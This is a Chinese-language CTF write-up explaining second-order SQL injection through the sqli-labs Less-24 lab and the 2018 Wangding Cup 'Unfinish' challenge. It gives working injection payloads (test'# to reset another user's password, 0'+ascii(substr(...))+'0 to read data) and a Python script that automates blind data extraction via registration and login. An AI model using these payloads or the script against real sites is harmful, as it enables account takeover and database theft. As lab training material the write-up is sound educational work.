先来一段理论
二次SQL注入(Second-Order SQL Injection)是一种特殊类型的SQL注入攻击。与一般的SQL注入攻击类似,攻击者会通过输入恶意的SQL语句来执行非法操作。而二次SQL注入则是指攻击者在应用程序中注入恶意的数据,然后等待应用程序将这些数据存储在数据库中。当应用程序再次从数据库中读取这些数据时,恶意数据就会被读取出来,并执行恶意操作。例如,一个web应用程序可能会将用户输入的内容存储在数据库中,然后在后续的页面中将这些内容显示出来。如果攻击者在用户输入中注入了恶意SQL语句,那么这些语句会被存储在数据库中。当应用程序从数据库中读取这些内容并在后续的逻辑中使用时,恶意SQL语句就有可能被执行,从而导致攻击成功。
例题
sqli靶场的Less-24
打开靶场发现是一个登录页面,需要我们输入用户名和密码
观察一下,一般都存在注册页面,那么下方的New User click here应该就是注册页面
我们先注册一个用户test密码是123,之后跳转至登录页面
使用test/123登录,发现登录成功,并且带有用户名的回显,这里就存在二次注入的风险
首先,当我们在注册页面输入用户名和密码时,网站会把输入的数据保存在数据库中
而当我们登录成功后会把用户名回显在网页上,这说明网站又调用数据库,并从中把数据库中的数据取了出来,如果我们在注册页面就插入恶意代码,在在重置密码的页面调用,即可实现注入
我们注册一个新用户test'#,密码是1234
登录后修改密码为110120,发现test'#用户的密码没变,而test用户密码变成了110120
查看下源码
发现当我们输入test'#时,闭合了sql查询语句username的前一个单引号,而注释符号后面的内容无效,此时sql语句变为
UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass' "等效于UPDATE users SET PASSWORD='$pass' where username='test'
那么最后改变的就是test用户的密码
此时,如果我们在注册页面的用户名输入的是类似于ascii(substr((select database()) from 1 for 1))的语句,即可实现从数据库中读取数据,完成注入!
2018网鼎杯Unfinish
这道题与上题类似,但难度更高
打开是一个登录界面,凭经验来说,这种一般还存在注册页面,只是ctf的题没有跳转的接口,需要自己寻找(扫后台dirsearch、御剑都可以),或者直接盲猜
来到注册页面,发现我们需要输入邮箱、用户名和密码,尝试输入
注册后又跳转到了登录页面
通过邮箱和密码实现登录后,发现来到另一个界面index.php,并且有qwe的回显,考虑二次注入的方向。
这里的逻辑基本就是在注册页面注入恶意数据,在登录页面调用数据库中的脏数据,实现注入1,最后把结果返回到index.php页面
ok
开始注入,先拿一个注入举例子,之后可以写脚本实现批量注入
就拿实现成功回显数据库名的第一个字符为例
我们在注册页面的用户名栏输入0'+ascii(substr((select database()) from 1 for 1))+'0
之后登录,发现此时回显的不是用户名0'+ascii(substr((select database()) from 1 for 1))+'0,而是119,就是数据库名称的第一个字符,查看acii码表,发现是小写w
ok,之后实现批量注入
脚本如下
1 #coding:utf-8 2 import requests 3 from bs4 import BeautifulSoup 4 import time 5 6 7 url = 'http://61.147.171.105:52577/' 8 9 m = '' 10 for i in range(100): 11 #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1) 12 payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判断每一位ascii码是多少 13 register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'} 14 login = {'email':'abc{}@qq.com'.format(i),'password':'123456'} 15 req = requests.session() 16 r1 = req.post(url+'register.php',data = register) 17 r2 = req.post(url+'login.php', data = login) 18 r3 = req.post(url+'index.php') 19 html = r3.text 20 #print(html) 21 soup = BeautifulSoup(html,'html.parser') 22 #print(soup.prettify()) 23 UserName = soup.span.string 24 print(UserName) 25 if int(UserName) == 0: 26 break 27 m += chr(int(UserName)) 28 print(m) 29 time.sleep(1)
运行脚本即可获得flag
注意点
关于本题SQL中如何闭合单引号的问题
因为此题中#被过滤,导致我们无法闭合单引号
MySQL中的+只能当做运算符,而不能用作字符串的连接符号,如下图
当+两边一边是数值,一边是字符串时,会将字符串转换为数值之后再相加,如果我们输入0'+ascii()+'0,最后就会变为'0'+ascii()+'0'即为ascii(),成功完成注入!
requests.exceptions.ConnectTimeout
运行py脚本,一开始经常报错
requests.exceptions.ConnectTimeout
查了一下是因为设置的时间太短,当服务器在指定的时间内未做出响应,则会抛出requests.exceptions.ConnectTimeout的错误
具体可以参考文章:https://blog.csdn.net/yuan2019035055/article/details/126628852
总结
SQL的二次注入是两个页面执行了同一处输入点,导致第二次执行了已经存储在数据库中的恶意代码,让攻击者完成注入!
本菜鸟也尝试开始写点py脚本,像本题中就使用了beautifulSoup的第三方库来完成对flag的提取。
参考博客:
https://blog.csdn.net/qq_53079406/article/details/125284454?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22125284454%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app
https://blog.csdn.net/qq_54929891/article/details/124911240?app_version=6.3.2&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22124911240%22%2C%22source%22%3A%22m0_75046593%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app
https://zhuanlan.zhihu.com/p/39917830